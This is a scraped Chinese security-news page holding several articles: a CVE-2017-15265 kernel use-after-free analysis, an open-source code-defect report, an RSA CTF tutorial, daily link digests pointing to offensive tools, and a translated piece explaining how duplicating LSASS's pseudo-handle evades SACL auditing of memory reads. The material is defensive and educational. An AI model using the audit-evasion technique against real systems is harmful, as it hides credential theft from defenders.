Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

【技术分享】Linux内核音频子系统UAF内存漏洞(CVE-2017-15265)技术分析

$
0
0
【技术分享】linux内核音频子系统UAF内存漏洞(CVE-2017-15265)技术分析

2017-10-27 17:33:04

阅读:748次
点赞(0)
收藏
来源: 安全客





【技术分享】Linux内核音频子系统UAF内存漏洞(CVE-2017-15265)技术分析

作者:360CERT





【技术分享】Linux内核音频子系统UAF内存漏洞(CVE-2017-15265)技术分析

0x00 事件描述

2017 年 10 月 11 日,OSS 平台披露了 Linux 内核的snd_seq_ioctl_create_port()函数存在一处UAF(use-after-free)的内存漏洞(见[参考 1]),漏洞编号 CVE-2017-15265,漏洞报告者为“Michael23 Yu”,公告中并未给漏洞的影响程度如何。

据悉,该漏洞需要攻击者拥有/dev/snd/seq目标设备的权限,服务器版 Linux 默认需要 root 或 audio 组权限,实际攻击面窄。

目前有2家 Linux 发行版厂家对 CVE-2017-15265 漏洞进行了安全评估(见[参考 2] 和[参考 3]),具体如下:
【技术分享】Linux内核音频子系统UAF内存漏洞(CVE-2017-15265)技术分析

暂时未监测到成功利用该漏洞进行攻击的程序出现。


0x01 事件影响面

影响面

经过 360CERT 分析,需要具备能 ioctl 访问/dve/snd/seq 的权限(需要 root 或本地登陆系统),实际利用场景较小。

综合判定 CVE-2017-15265 漏洞为中危漏洞,属于一般网络安全事件。


0x02 部分技术信息

该 UAF 漏洞可通过在对/dve/snd/seq 和 ioctl 调用来操作 port 的创建和删除来触发。具体问题点是内核函数 snd_seq_create_port()会创建一个 port 对象并返回它的指针给用户态的调用者,但在实现中并未对其增加引用计数或其它防护手段,导致该对象可被用户态进程的其它线程发起删除操作。

此后,函数 snd_seq_ioctl_create_port()会调用 snd_seq_system_client_ev_port_start() 函数,并在函数中使用已经被删除的 port 对象,最终导致 UAF 漏洞。攻击者可以通过竞态攻击的手段来对该对象进行占位造成进一步攻击的可能。


【技术分享】Linux内核音频子系统UAF内存漏洞(CVE-2017-15265)技术分析
PoC 代码主要片断:

【技术分享】Linux内核音频子系统UAF内存漏洞(CVE-2017-15265)技术分析

0x03 处理建议

建议通过源代码的方式进行补丁更新 http://mailman.alsa-project.org/pipermail/alsa-devel/2017-October/126292.html


0x04 时间线

2017-10-11 事件被披露

2017-10-17 360CERT 完成了基本分析报告

0x05 参考

1. http://seclists.org/oss-sec/2017/q4/58

2. https://bugzilla.suse.com/show_bug.cgi?id=1062520

3. https://bugzilla.redhat.com/show_bug.cgi?id=1501878

4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15265

5. http://www.securityfocus.com/bid/101288/info



【技术分享】Linux内核音频子系统UAF内存漏洞(CVE-2017-15265)技术分析
【技术分享】Linux内核音频子系统UAF内存漏洞(CVE-2017-15265)技术分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4616.html

【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

$
0
0
【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

2017-10-27 21:23:19

阅读:885次
点赞(0)
收藏
来源: 安全客





【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

作者:360代码卫士





【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

说明

360代码卫士与国家互联网应急中心CNCERT合作,对国外知名互联网公司开源软件代码的安全缺陷情况进行了分析,以下为报告全文。本文转自国家互联网应急中心CNCERT。


前言

随着软件技术飞速发展,开源软件已在全球范围内得到了广泛应用。数据显示,从2012年起,已有超过80%的商业软件使用开源软件。开源软件的代码一旦存在安全问题,必将造成广泛、严重的影响。为了解开源软件的安全情况,CNCERT持续对广泛使用的知名开源软件进行源代码安全缺陷分析,并发布季度安全缺陷分析报告。

本期报告聚焦国际知名互联网公司的软件安全开发现状,通过检测公司旗下多款开源软件产品的安全缺陷,评估各公司的代码安全控制情况。针对国际知名互联网公司,选取关注度高的开源项目,结合缺陷扫描工具和人工审计的结果,对各公司的项目安全性进行评比。


1 被测开源软件

参考Github机构排名,本期报告聚焦国际知名互联网公司Google、Facebook、Twitter,综合考虑用户数量、受关注程度等情况,选取了这些公司旗下的12款具有代表性的开源项目。本次被测的开源软件项目的概况如下:


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

表1 被测开源软件项目概览

2 测试内容

安全缺陷种类

本次测试涵盖各类常见安全缺陷。根据缺陷形成的原因、被利用的可能性、造成的危害程度和解决的难度等因素进行综合考虑,可以将常见的安全缺陷分为八类:

1)输入验证与表示(Input Validation and Representation)

输入验证与表示问题通常是由特殊字符、编码和数字表示所引起的,这类问题的发生是由于对输入的信任所造成的。这些问题包括:缓冲区溢出、跨站脚本、SQL注入、命令注入等。

2) API误用(API Abuse)

API是调用者与被调用者之间的一个约定,大多数的API误用是由于调用者没有理解约定的目的所造成的。当使用API不当时,也会引发安全问题。

3) 安全特性(Security Features)

该类别主要包含认证、访问控制、机密性、密码使用和特权管理等方面的缺陷。

4) 时间和状态(Time and State)

分布式计算与时间和状态有关。线程和进程之间的交互及执行任务的时间顺序往往由共享的状态决定,如信号量、变量、文件系统等。与分布式计算相关的缺陷包括竞态条件、阻塞误用等。

5) 错误和异常处理缺陷(Errors)

这类缺陷与错误和异常处理有关,最常见的一种缺陷是没有恰当的处理错误(或者没有处理错误)从而导致程序运行意外终止,另一种缺陷是产生的错误给潜在的攻击者提供了过多信息。

6) 代码质量问题(Code Quality)

低劣的代码质量会导致不可预测的行为。对于攻击者而言,低劣的代码使他们可以以意想不到的方式威胁系统。常见的该类别缺陷包括死代码、空指针解引用、资源泄漏等。

7) 封装和隐藏缺陷(Encapsulation)

合理的封装意味着区分校验过和未经检验的数据,区分不同用户的数据,或区分用户能看到和不能看到的数据等。常见的缺陷包括隐藏域、信息泄漏、跨站请求伪造等。

8) 代码运行环境的缺陷(Environment)

该类缺陷是源代码之外的问题,例如运行环境配置问题、敏感信息管理问题等,它们对产品的安全仍然是至关重要的。

前七类缺陷与源代码中的安全缺陷相关,它们可以成为恶意攻击的目标,一旦被利用会造成信息泄露、权限提升、命令执行等严重后果。最后一类缺陷描述实际代码之外的安全问题,它们容易造成软件的运行异常、数据丢失等严重问题。

安全缺陷级别

我们将源代码的安全问题分为三种级别:高危(High)、中等(Medium)和低(Low)。衡量级别的标准包括两个维度,置信程度(confidence)和严重程度(severity)。置信程度是指发现的问题是否准确的可能性,比如将每个strcpy函数调用都标记成缓冲区溢出缺陷的可信程度很低。严重程度是指假设测试技术真实可信的情况下检出问题的严重性,比如缓冲区溢出通常是比变量未初始化更严重的安全问题。将这两个因素综合起来可以准确的为安全问题划分级别,如下图所示:


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

图1 缺陷级别与严重程度、置信程度的关系


3 开源软件项目的安全缺陷情况

本报告仅针对检出的高危、中危缺陷进行统计和分析。本部分首先展示从被测项目中检出安全缺陷的数量,并由此对三大互联网公司的产品安全性进行比较。然后进一步讨论各公司被测项目中安全缺陷的分布情况,了解各公司出现较多的缺陷类型。

安全缺陷情况概况

本部分展示被测项目查出缺陷的数量,由此对被测项目的安全性进行大致的评估。图2展示了各个项目高危、中危缺陷的数量,并按照高危缺陷数量对项目进行了排序,图中用蓝色折线图展示了每千行包含缺陷数。


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

图2 开源软件项目缺陷情况

在本次被测软件中,来自Google的Protobuf(协议缓冲区)、来自Twitter的Fatcache(大数据缓存)不存在高危缺陷,同时中危缺陷的数量也相对较少。

来自Twitter的映射框架Libcrunch的高危缺陷数量居多,在15个高危缺陷中,存在9个路径遍历问题,5个空指针解引用缺陷和1个硬编码密码缺陷。

中高危缺陷总数最多的是来自Facebook的Rocksdb(持久键值存储库),包含94个中危缺陷,其中绝大多数也为代码质量类问题。例如,包含55个“类的构造函数未对成员进行初始化”缺陷,32个“位运算的两个操作数比特位数不同”缺陷。这些缺陷可能会导致程序发生不可预知的行为,甚至造成安全隐患,应当尽量避免。

由于项目的绝对缺陷数量可能与项目大小相关,因此本报告计算了每千行缺陷数,用该数据反映缺陷在项目中的分布密度。根据该数据,代码安全性最好的项目依次是来自Google的Protobuf(0.00)、Oauth-java-client(0.06)、来自Facebook的Buck(0.07),这些软件的每一千行代码的平均安全缺陷数量小于0.1个。而缺陷分布密度相对较高的项目是来自Twitter的Libcrunch(5.43)、来自Google的UlforETW(1.41)和Google-java-format(1.09),这些软件的每一千行代码平均包含 1个以上的安全缺陷。

各公司产品安全性对比

本部分对不同互联网公司的产品安全性概况进行对比,图3展示了每个公司在本次测试中检测出的高危、中危缺陷总数,以及以公司为单位统计的每千行缺陷数 。


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

图3 互联网公司产品安全性对比图

由于每个公司的项目被检测出缺陷的绝对数量与项目数量、项目大小相关,不能直接反映公司的产品安全性,因此本部分重点关注每千行缺陷数。根据该数据,Google的总体产品安全性较高,平均每一千行代码仅包含0.07个安全缺陷。Twitter的总体产品安全性在3个公司中较差,平均每千行缺陷数量是Google本次抽样产品的近6倍。

各公司高危缺陷分布情况

本部分展示各公司高危缺陷的分布情况,了解各公司出现较多的高危缺陷类型。如图4所示,各公司的高危缺陷分布情况不尽相同。其中,普遍出现较多的高危缺陷是被污染的缓冲区 和空指针解引用。表2和表3分别列出了这两种缺陷在各公司项目中的分布情况。


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

图4 各公司高危缺陷分布情况

表2 高危被污染的缓冲区分布情况


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

表3 高危空指针解引用分布情况


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

各公司中危缺陷分布情况

本部分继续展示各公司中危缺陷的分布情况,了解各公司出现较多的中危缺陷类型。如图5、图6、图7所示,各公司的中危缺陷分布情况不尽相同。由于中危缺陷的数量较多,为了方便展示,将仅出现1次的缺陷类型统一归入“其他”。


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

图5 Google中危缺陷分布情况


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

图6 Facebook中危缺陷分布情况


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

图7 Twitter中危缺陷分布情况

正如前文所述,3个公司软件的中危缺陷绝大多数都为代码质量类问题,而普遍出现较多的两类缺陷分别是“变量或参数等使用前未进行初始化”和“资源未及时释放”,也均属于代码质量类问题,这些缺陷虽然不易直接被攻击者利用,但确实会造成程序运行不稳定、性能下降甚至崩溃等问题。表4和表5分别列出了这两种缺陷在各公司项目中的分布情况。

表4 中危未初始化问题分布情况


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

表5 中危资源未释放缺陷分布情况


【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告

4 关于本报告的说明

1、本报告仅从代码角度进行缺陷分析。本报告中统计的缺陷是指由于代码编写不规范导致的有可能被攻击者利用的安全隐患。在实际系统中,由于软件实际部署环境、安全设备等的限制,部分缺陷可能无法通过渗透测试得到验证。

2、本报告中的缺陷仅适用于表1中列出的特定软件版本。当软件版本有任何更新、修改和优化时,本报告不再适用。

3、本报告由360代码卫士团队提供部分技术支持。



【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告
【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4619.html

【安全科普】CTF之RSA加密算法

$
0
0
【安全科普】CTF之RSA加密算法

2017-10-28 10:37:33

阅读:1476次
点赞(0)
收藏
来源: 安全客





【安全科普】CTF之RSA加密算法

作者:神月资讯





【安全科普】CTF之RSA加密算法

0x01摘要

每次碰到RSA题都是一脸蒙逼,这次专门来撸一撸RSA加密算法。


0x02前言

CTF里考RSA算法是比较常见的。可惜每次碰到都一脸蒙逼,最心酸的是Writeup就摆在那里,不离不弃,而我的智商摆在那里,不高不低。


0x03理解RSA

最重要一步,当然是理解RSA算法,理解了,就什么都不难了。


【安全科普】CTF之RSA加密算法

1977年,三位数学家Rivest、Shamir和Adleman设计了一种算法,可以实现非对称加密。这种算法用他们三个人的名字命名,叫做RSA算法。从那时直到现在,RSA算法一直是最广为使用的"非对称加密算法"。毫不夸张地说,只要有计算机网络的地方,就有RSA算法。

这种算法非常可靠,密钥越长,它就越难破解。根据已经披露的文献,目前被破解的最长RSA密钥是768个二进制位。也就是说,长度超过768位的密钥,还无法破解(至少没人公开宣布)。因此可以认为,1024位的RSA密钥基本安全,2048位的密钥极其安全。

举例子的时候一般出现的人物都是Bob和Alice。

比如有两个用户Alice和Bob,Alice想把一段明文通过双钥加密的技术发送给Bob,Bob有一对公钥和私钥,那么加密解密的过程如下:

Bob将他的公开密钥传送给Alice。

Alice用Bob的公开密钥加密她的消息,然后传送给Bob。

Bob用他的私人密钥解密Alice的消息。

上面的过程可以用下图表示,Bob先生成公钥和私钥,Alice使用Bob的公钥进行加密,Bob用自己的私钥进行解密。


【安全科普】CTF之RSA加密算法

总结:

公钥和私钥是成对的,它们互相解密。

公钥加密,私钥解密。

私钥数字签名,公钥验证。

0x03.1.1 数学概念

要看算法了,还是先温习一下基本的概念吧,哈哈,忘的人可以看看,大神可以跳过。

0x03.1.1.1互质关系

如果两个正整数,除了1以外,没有其他公因子,我们就称这两个数是互质关系(coprime)。比如,15和32没有公因子,所以它们是互质关系。这说明,不是质数也可以构成互质关系。

关于互质关系,不难得到以下结论:

1.任意两个质数构成互质关系,比如13和61。

2.一个数是质数,另一个数只要不是前者的倍数,两者就构成互质关系,比如3和10。

3.如果两个数之中,较大的那个数是质数,则两者构成互质关系,比如97和57。

4.1和任意一个自然数是都是互质关系,比如1和99。

5.p是大于1的整数,则p和p-1构成互质关系,比如57和56。

6.p是大于1的奇数,则p和p-2构成互质关系,比如17和15。

0x03.1.1.2欧拉函数

欧拉函数求的是什么呢?

即:任意给定正整数n,请问在小于等于n的正整数之中,有多少个与n构成互质关系?(比如,在1到8之中,有多少个数与8构成互质关系?)

其中,在1到8之中,与8形成互质关系的是1、3、5、7,所以φ(n) = 4。

常用的运算过程有:

φ(n)=φ(p×q)=φ(p)φ(q)=(p-1)(q-1)

欧拉公式:


【安全科普】CTF之RSA加密算法
例子:

【安全科普】CTF之RSA加密算法
1323的欧拉函数就是756。

0x03.1.1.3欧拉定理

如果两个正整数a和n互质,则n的欧拉函数φ(n)可以让下面的等式成立:


【安全科普】CTF之RSA加密算法

也就是说,a的φ(n)次方被n除的余数为1。或者说,a的φ(n)次方减去1,可以被n整除。

比如,3和7互质,而7的欧拉函数φ(7)等于6,所以3的6次方(729)减去1,可以被7整除(728/7=104)。

0x03.1.1.4费马小定理

假设正整数a与质数p互质,因为质数p的φ(p)等于p-1,则欧拉定理可以写成:


【安全科普】CTF之RSA加密算法

0x03.1.1.5模反元素

如果两个正整数a和n互质,那么一定可以找到整数b,使得ab-1被n整除,或者说ab被n除的余数是1。


【安全科普】CTF之RSA加密算法

这时,b就叫做a的"模反元素"。

而我们的RSA中,e和b就互为模反元素。

0x03.1.2 算法

RSA算法涉及三个参数,n,e,d,私钥为(n,d),公钥为(n,e)。

其中n是两个大素数p,q的乘积。

d是e的模反元素,φ(n)是n的欧拉函数。

c为密文,m为明文,则加密过程如下:


【安全科普】CTF之RSA加密算法

解密过程如下:


【安全科普】CTF之RSA加密算法

n,e是公开的情况下,想要知道d的值,必须要将n分解计算出n的欧拉函数值,而n是两个大素数p,q的乘积,将其分解是困难的。

上面的内容可以用一个图表示:


【安全科普】CTF之RSA加密算法
0x03.1.3 举例

看一遍运算过程,知道怎么用是最快的学习方法哈哈。假设用户A需要将明文“key”通过RSA加密后传递给用户B。

0x03.1.3.1设计公私钥(n,e),(n,d)

1)p、q、n

令p=3,q=11,得出n=p×q=3×11=33;(质数p和q越大越难破解,n转成二进制后的长度就是密钥长度)

2)φ(n)

φ(n)=(p-1)(q-1)=2×10=20;

3)e和d

选一个1到φ(n)之间的质数,这里取e=3,(3与20互质)则e×d≡1 (modφ(n)),即3×d≡1(mod 20)。令x=d,20的倍数为-y,则3x-20y=1。求解得:x=7,y=1。

因此,当d=7时,e×d≡1 modφ(n)同余等式成立。从而我们可以设计出一对公私密钥,加密密钥(公钥)为:KU=(n,e)=(33,3),解密密钥(私钥)为:KR=(n,d)=(33,7)。

0x03.1.3.2英文数字化

将明文信息数字化,并将每块两个数字分组。假定明文英文字母编码表为按字母顺序排列数值,即:


【安全科普】CTF之RSA加密算法
则得到分组后的key的明文信息为:11,05,25。

0x03.1.3.3明文加密

用户加密密钥(33,3)将数字化明文分组信息加密成密文。由C≡Me(mod n)得:


【安全科普】CTF之RSA加密算法
因此,得到相应的密文信息为:11,31,16。

0x03.1.3.4密文解密

用户B收到密文,若将其解密,只需要计算,即:


【安全科普】CTF之RSA加密算法
用户B得到明文信息为:11,05,25。根据上面的编码表将其转换为英文,我们又得到了恢复后的原文“key”。

0x04问题与思考

0x04.1问题1:已经公钥(n,e),如何破解私钥(n,d)?

e*d≡1 (modφ(n))。只有知道e和φ(n),才能算出d。

φ(n)=(p-1)(q-1)。只有知道p和q,才能算出φ(n)。

n=pq。只有将n因数分解,才能算出p和q。

如果n可以被因数分解,d就可以算出,也就意味着私钥被破解。

0x04.2问题2:为什么n越大,就越难破解?

n的长度就是密钥长度。如3233写成二进制是110010100001,一共有12位,所以这个密钥就是12位。实际应用中,RSA密钥一般是1024位,重要场合则为2048位。

人类已经分解的最大整数(232个十进制位,768个二进制位)。比它更大的因数分解,还没有被报道过,因此目前被破解的最长RSA密钥就是768位。

0x04.3问题3:为什么用n加密的明文长度要小于n,如果长度大于n如何加密?

根据互质关系第三条,如果两个数之中,较大的那个数是质数,则两者构成互质关系,比如97和57。

所以只要m<n,因为n为质数,m与n互质。

如果m>n,则将m分解成位数小于n的分组进行加密,解密后再组合起来。


0x05CTF

下面列举了个CTF题,做着做着就会啦。目前只列举一道,当然还有其它很多攻击方法,像维纳攻击、广播攻击等等,就不班门弄斧了,进一步了解和学习可以看参考文章哈哈。

0x05.1RSA Roll

例题来自【https://www.52pojie.cn/forum.php?mod=viewthread&tid=490769】

题目:


【安全科普】CTF之RSA加密算法

解答:

从上面可以看出,给出的是(n,e)=(920139713,19)和分组的密文。而这里的n明显不大,因此是可以破解的。

在线因数分解:【http://factordb.com/index.php?query=920139713】得到p=18443,q=49891

欧拉函数:φ(n) = (p-1)(q-1)=(49891-1)*(18443-1)=920071380

由此e=19, φ(n)= 920071380,e*d=1(modφ(n))即920071380x + 19y = 1

求解d:


【安全科普】CTF之RSA加密算法

得d=96849619,即(n,d)=(920139713,96849619),可以解那些密文了。

用【BigInt】求解:


【安全科普】CTF之RSA加密算法

如密文【704796792】

可以知道102的ascii码对应的是f,因此明文为f。其它的可以依次求解出来。


0x06参考

RSA算法原理:

https://www.kancloud.cn/kancloud/rsa_algorithm/48484

欧拉函数:

https://zh.wikipedia.org/wiki/%E6%AC%A7%E6%8B%89%E5%87%BD%E6%95%B0

CTF中RSA的常见攻击方法:

http://bobao.360.cn/learning/detail/3058.html

CTFCrypto练习之RSA算法:

http://blog.csdn.net/qq_18661257/article/details/54563017

因数分解:

http://factordb.com/

用实例给新手讲解RSA加密算法:

http://bank.hexun.com/2009-06-24/118958531.html



【安全科普】CTF之RSA加密算法
【安全科普】CTF之RSA加密算法
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4617.html

【知识】10月29日 - 每日安全知识热点

$
0
0
【知识】10月29日 - 每日安全知识热点

2017-10-29 10:46:45

阅读:1133次
点赞(0)
收藏
来源: 安全客





【知识】10月29日 - 每日安全知识热点

作者:Easytraveller





【知识】10月29日 - 每日安全知识热点

热点概要:部分感染坏兔机器加密文件可不付钱解密、Basetool地下黑客论坛信息泄漏,黑客勒索5万美元、如何使用Powershell脚本收集sccm日志文件、linux通过Voltage Fault注入实现提权、Uber中的DOM XSS、DroidCon London 2017 PPT。


资讯类:

部分感染坏兔机器加密文件可不付钱解密

https://www.bleepingcomputer.com/news/security/some-bad-rabbit-victims-can-recover-files-without-paying-ransom/


微软修复了黑客可以偷取用户NTLM密码哈希值的漏洞

http://securityaffairs.co/wordpress/64871/hacking/windows-login-credentials-hack.html


Basetool地下黑客论坛信息泄漏,黑客勒索5万美元

http://securityaffairs.co/wordpress/64890/data-breach/basetools-underground-forum-hacked.html


技术类:

简单6条让你了解HTTPS

https://www.troyhunt.com/the-6-step-happy-path-to-https/


HPKP的攻击与见解

https://scotthelme.co.uk/im-giving-up-on-hpkp/


如何使用Powershell脚本收集sccm日志文件

http://ccmexec.com/2017/10/powershell-script-to-collect-sccm-log-files-from-clients-using-run-script/


跨平台后门生成工具

https://github.com/Souhardya/Zerodoor


Netcat与Shellcode:反向Shell

http://morgawr.github.io/hacking/2014/03/29/shellcode-to-reverse-bind-with-netcat


Uber中的DOM XSS

http://stamone-bug-bounty.blogspot.ae/2017/10/dom-xss-auth_14.html


树莓派自制网络监视器

https://www.sneakymonkey.net/2016/10/30/raspberrypi-nsm/


DroidCon London 2017 PPT

https://github.com/brompwnie/DroidConLondon2017


Linux通过Voltage Fault注入实现提权

https://www.riscure.com/uploads/2017/10/Riscure_Whitepaper_Escalating_Privileges_in_Linux_using_Fault_Injection.pdf




【知识】10月29日 - 每日安全知识热点
【知识】10月29日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4621.html

【技术分享】绕过LSASS的SACL审计

$
0
0
【技术分享】绕过LSASS的SACL审计

2017-10-30 10:07:19

阅读:484次
点赞(0)
收藏
来源: tyranidslair.blogspot.co.uk





【技术分享】绕过LSASS的SACL审计

作者:牧野之鹰





【技术分享】绕过LSASS的SACL审计

译者:牧野之鹰

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

LSASS:本地安全权威子系统,是windows平台上一个用户模式进程,它负责本地系统安全策略(比如允许哪些用户登录到本地机器上、密码策略、授予用户和用户组的特权、以及系统安全审计设置)、用户认证,以及发送安全审计消息到事件日志中。著名的Mimikatz密码抓取工具就是从LSASS进程的内存中获取明文密码的。


正文

Windows NT从第一天开始就支持资源访问审计。任何审计事件最终都会记录到安全事件日志中(Security event log)。要启用审计功能,管理员需要在本地或者组安全策略中配置哪些类型的资源的访问需要被审计,包括是否审计成功和失败。每个要审计的资源都需要添加到系统访问控制列表(SACL)中,该系统访问控制列表决定了哪些类型的访问将被审计。ACL还可以指定将审计限制在特定组中。

最近一条推特激起了我的兴趣,这条推特指出在windows 10 中的一个改动——为LSASS进程配置了一个SACL。这条推特中还有一张截图,截自一个描述windows 10 RTM改动的网页。从中我们可知该SACL的引入是为了检测一些工具的使用,比如Mimikatz,它需要打开LSASS进程。但是对于这个目的,它能不能很好的工作呢?

让我们来分析这个LSASS的SACL,先从审计的角度来看看这样做的意义,然后再谈谈为什么这不是检测Mimikatz或者试图访问LSASS内存的类似程序的一个很好的机制。

我们首先设置一个测试系统,以便我们可以验证SACL是否存在,然后启用审计来检查打开LSASS时是否收到审计事件。 我更新了我的一个Windows 10 1703虚拟机,然后安装了NtObjectManager PowerShell模块。


【技术分享】绕过LSASS的SACL审计

在这里需要注意的几件事情,您必须在打开该进程时请求ACCESS_SYSTEM_SECURITY访问权限,否则您无法访问SACL。 您还必须在访问进程的安全描述符时明确请求SACL。 我们可以将SACL看作是一个SDDL(Security Descriptor Definition Language)字符串,它与来自tweet / Microsoft网页的SDDL字符串相匹配。 但SDDL的表示方法并不能让我们很好的理解SACL ACE(Access Control Entry),所以我会在文中将其扩展。 扩展后的形式表明ACE就是我们所希望的用于审计的ACE,主体用户是Everyone组,对成功和失败事件都启用了审计,并且掩码设置为0x10。

好的,我们来配置这个事件的审计。 我在系统的本地安全策略中启用了对象审计(例如运行gpedit.msc),如下所示:


【技术分享】绕过LSASS的SACL审计

您不需要重新启动以更改审计配置,因此只需重新打开LSASS进程,就像我们之前在PowerShell中所做的那样,我们应该可以看到在安全事件日志中生成的审计事件,如下所示:


【技术分享】绕过LSASS的SACL审计

我们可以看到包含目标进程和源进程的事件已经被记录了。那么我们如何绕过这个呢?我们回过头来看一下SACL ACE的意义。内核用来确定是否生成一个基于SACL的审计日志的过程其实和用DACL来进行访问检查的过程没有多大区别。内核尝试找到具有当前令牌组中的主体的ACE,并且掩码表示已授予打开的句柄的一个或多个访问权限。 所以回顾一下SACL ACE,我们可以得出结论,如果当前的令牌具有Everyone组并且句柄被授予访问权限0x10,则会生成审计事件。那么0x10应用到进程上意味着什么呢?我们可以利用powershell中的Get-NtAccessMask来看一下。


【技术分享】绕过LSASS的SACL审计

这表明访问进程内存需要你有PROCESS_VM_READ权限,这是有道理的。 如果你想要阻止一个进程抓取LSASS的内容,则你可以让该进程必须获取到了访问权限,然后才能调用ReadProcessMemory()。

绕过的第一个思路是将Everyong 组从你的令牌中移除,然后再打开目标进程,这时候审计规则应该是不匹配的。但是操作起来很不容易,从令牌中移除组的唯一个简单的方法是用CreateRestrictedToken()将其转换为仅拒绝(Deny Only)组。然而,内核为了审计访问检查,将仅拒绝组视为已启用。或者如果你有SeCreateToken特权的话,你可以创建一个没有该组的令牌,但是根据测试,Everyone组是一个特殊的存在,而且不管你的令牌里有哪些组,它依然会进行审计匹配。

那么访问掩码呢? 如果不请求PROCESS_VM_READ权限,也就是不在OpenProcess()函数中指定该权限,则不会触发审计事件。 当然,我们实际上希望能够拥有访问权限以便进行内存访问,那么我们怎么能解决这个问题呢? 一种方法是你可以以ACCESS_SYSTEM_SECURITY权限打开进程,然后修改SACL以删除审计条目。 当然,更改SACL会生成一个审计事件,该事件ID和对象访问生成的不一样,如果你没有捕获那些事件,你可能不会注意到它。 但是这些方法都太麻烦了,事实证明,至少存在一种更容易的方法——滥用句柄复制。

正如我在P0博客文章中解释的那样,当使用伪当前进程句柄时,DuplicateHandle系统调用有一个有趣的行为,其返回值为-1。 具体来说,如果你尝试从另一个进程复制伪句柄,那么你就可以获取源进程的完整访问句柄。 因此,为了绕过SACL,我们可以在OpenProcess()函数中指定PROCESS_DUP_HANDLE参数来访问LSASS,复制其伪句柄并获取PROCESS_VM_READ权限访问句柄。 你可能会认为这仍然会记录在审计日志中,但其实不会。 句柄复制并不会触发访问检查,因此审计功能不会运行。 你可以自己尝试一下,看其是否有效。


【技术分享】绕过LSASS的SACL审计

当然这只是绕过审计的简单方法。 您可以轻松地将任意代码和线程注入到进程中,也不会触发审计。 这使得审计SACL相当无用,因为恶意代码可以很方便地绕过它。 如以前一样,如果你的计算机上运行了管理员级代码,那么你将会很不幸。

那么从中我们应该注意什么呢?我们不应该依赖配置好的SACL来检测那些尝试访问,利用LSASS内存的恶意代码。SACL太脆弱,要绕过它太简单了。使用像Sysmon那样的工具可能会有更好的效果(尽管我没有试过),或者是启用Credential Guard应该可以从一开始就阻止恶意代码打开LSASS。



【技术分享】绕过LSASS的SACL审计
【技术分享】绕过LSASS的SACL审计
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://tyranidslair.blogspot.co.uk/2017/10/bypassing-sacl-auditing-on-lsass.html

【知识】10月30日 - 每日安全知识热点

$
0
0
【知识】10月30日 - 每日安全知识热点

2017-10-30 10:58:46

阅读:1796次
点赞(0)
收藏
来源: 安全客





【知识】10月30日 - 每日安全知识热点

作者:77caikiki





【知识】10月30日 - 每日安全知识热点

热点概要:ubuntu 18.04 LTS (Bionic Beaver) 已开放开发了、Matrix Ransomware通过恶意广告开始传播、checkpoint对IoT_Reaper僵尸网络的详细分析、Google Chrome GPU Memory Corruption Vulnerability (CVE-2017-5112)(细节以及POC)、Exitmap:Tor出口中继的快速模块化的scanner



资讯类:

ubuntu 18.04 LTS (Bionic Beaver) 已开放开发了

http://news.softpedia.com/news/ubuntu-18-04-lts-bionic-beaver-is-now-officially-open-for-development-518237.shtml


Matrix Ransomware通过恶意广告开始传播

http://securityaffairs.co/wordpress/64920/malware/matrix-ransomware-malvertising.html


回答关于南非大规模“Master Deeds”数据泄露的问题

https://www.troyhunt.com/questions-about-the-massive-south-african-master-deeds-data-breach-answered/


The CyberWire每日播客

https://www.thecyberwire.com/podcasts/cw-podcasts-daily-2017-10-27.html


技术类:

checkpoint对IoT_Reaper僵尸网络的详细分析

https://research.checkpoint.com/iotroop-botnet-full-investigation/


Google Chrome GPU Memory Corruption Vulnerability (CVE-2017-5112)(细节以及POC)

https://bugs.chromium.org/p/chromium/issues/detail?id=740603


【知识】10月30日 - 每日安全知识热点

Blazy:一个现代的登录暴力破解器,也可测试CSRF,点击劫持,Cloudflare 以及WAF

https://github.com/UltimateHackers/Blazy/


Hacking with dex-oracle以对Android恶意软件进行反混淆

https://rednaga.io/2017/10/28/hacking-with-dex-oracle-for-android-malware-deobfuscation/


Exitmap:TOR出口中继的快速模块化的scanner

http://www.kitploit.com/2017/10/exitmap-fast-and-modular-scanner-for.html

https://github.com/NullHypothesis/exitmap


A Client/Server Model for Masking C&C via Legitimate Behavior over HTTP

https://github.com/trustedsec/trevorc2/blob/master/README.md


如何 使用Shadow Volume Copies恢复文件

https://www.bleepingcomputer.com/tutorials/how-to-recover-files-and-folders-using-shadow-volume-copies/


如何安全地将你的文件藏在图片中

http://hackingnewstutorials.com/how-to-safely-hide-your-files-and-folders-inside-images/



【知识】10月30日 - 每日安全知识热点
【知识】10月30日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4624.html

【技术分享】让我们一起来消灭CSRF跨站请求伪造(上)
